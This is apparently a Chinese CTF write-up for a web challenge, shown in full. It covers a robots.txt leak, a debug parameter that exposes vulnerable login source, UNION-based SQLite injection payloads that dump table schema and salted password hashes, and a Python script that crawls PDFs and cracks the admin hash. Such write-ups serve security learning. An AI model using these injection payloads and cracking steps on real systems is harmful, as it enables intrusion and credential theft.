0x1 考点关键词
信息泄露、SQLite 注入、python 脚本编写处理 pdf 爆破密码
这次的脚本给我头都搞大了!!!
0x2 题目解答
》分析
打开题目发现主页上各种套娃,里面一堆 pdf 文件。
robots 信息泄露:
User-agent: *
Disallow: /login.php
Disallow: /admin.php
访问 login.php 登录界面,发现存在 sql 注入,但是是个 SQLite3 。
查看该页面源码,发现有 debug 提示,url 中输入?debug=''
成功弹出源码。
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
通过 POST 接收 usr 和 pw 参数。没有做任何过滤,带入 sql 查询。若查询的结果 id 字段不为空,则执行setcookie 操作,会将查询的结果 name 字段插入到 cookie 中。从 and 起后面部分被注释掉。利用union联合查询sqlite系统表( sqlite_master),得到的id值其实是表的名字(name),而得到的name值其实是创建表时的语句(sql):
usr=' union select name,sql from sqlite_master--&pw=''
注意sqlite的注释符是 -- ,带入查询后,cookie 中的结果是:
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
这就出现了表名和表中的字段了,仍然在usr处用limit进行移位并查询:
usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=''
usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=''
usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=''
usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=''
id | name | password | hint |
1 | admin | 3fab54a50e770d830c0416df817567662a9dc85c | my fav word in my fav paper?! |
2 | fritze | 54eae8935c90f467427f05e4ece82cf569f89507 | my love is…? |
3 | hansi | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd | the password is password |
根据提示推测,admin 的密码是那堆 pdf 中的某个单词。所以要先把 pdf 都爬到本地,再写个脚本将每个单词加密后,和上面的密文对比。
》总结
网上直接搬运大佬的代码:https://blog.csdn.net/qq_43054896/article/details/104741052
这里记录一下PDF文字提取的代码,网上大多数的提取代码都比较复杂,导入一堆库,文字识别也不是很准确,pdfplumber 库比较好用,代码也很简洁,PDF表格内的文字也可以提取。
大佬下载PDF的时候用了wget 递归下载,真是没想到
wget 递归下载:wget xxx.com -r -np -nd -A .pdf
-r:层叠递归处理
-np:不向上(url 路径)递归
-nd:不创建和 web 网站相同(url 路径)的目录结构
-A type:文件类型
用 python 编写的 exp:
这里一定要注意提前创建好对应的文件目录,负责程序运行失败!!!
# coding = utf-8
import hashlib
import re
import os
import pdfplumber
import requests
from bs4 import BeautifulSoup
# 递归爬取URL
def get_url(url):
try:
r = requests.get(url)
r.raise_for_status()
soup = BeautifulSoup(r.text,'html.parser')
tag_a_lst = soup.find_all('a')
link_set = set()
for i in tag_a_lst:
if ('../../' not in i['href']) and \
('8/index' not in i['href']) :
# 去掉 URL 中的'index.html'
href = url[:-10] + i['href']
link_set.add(href)
if ('pdf' not in href) and \
(i['href'] != 'index.html'):
link_set.update(get_url(href))
link_set.discard(href)
return link_set
except:
print('get url error')
return {}
# 下载PDF文件
def download(url,path):
save_path = path + url.split('/')[-1]
try:
r = requests.get(url)
r.raise_for_status()
with open(save_path,'wb') as file:
file.write(r.content)
file.close()
except:
print('download error')
# PDF文字提取到txt文件
def pdf_to_txt(pdf_file,txt_file):
try:
pdf = pdfplumber.open(pdf_file)
with open(txt_file, 'w+',encoding='UTF-8') as file:
for page in pdf.pages:
# 逐页提取文字
contents = page.extract_text()
file.write(contents)
file.close()
pdf.close()
except:
print('convert error')
def main():
url = 'http://159.138.137.79:62552/index.html'
root = 'D:/pdf_download/'
link_lst = get_url(url)
for link in link_lst:
download(link,root)
file_lst = os.listdir(root)
r = re.compile('[\w]+')
for i in range(1,len(file_lst)):
pdf_file = root + file_lst[i-1]
txt_file = root+'txt/%d.txt'%i
pdf_to_txt(pdf_file,txt_file)
with open(txt_file,'r', encoding='utf-8') as file:
f = file.read()
words_lst = r.findall(f)
for j in words_lst:
pw = j + "Salz!"
encode = hashlib.sha1(pw.encode('utf-8')).hexdigest()
if encode == "3fab54a50e770d830c0416df817567662a9dc85c":
print("password is :",j)
break
if __name__ == '__main__':
main()
得到 admin 密码为:ThinJerboa
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
0x3 PS
sqlite_master 表是 SQLite 的系统表。该表记录该数据库中保存的表、索引、视图、和触发器信息。每一行记录一个项目。在创建一个 SQLIite 数据库的时候,该表会自动创建。sqlite_master 表包含5列。
type:记录了项目的类型,如 table、index、view、trigger 。
name:记录了项目的名称,如表名、索引名等。
tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身。
rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者 NULL 。
sql:记录创建该项目的 SQL 语句。
Comments | NOTHING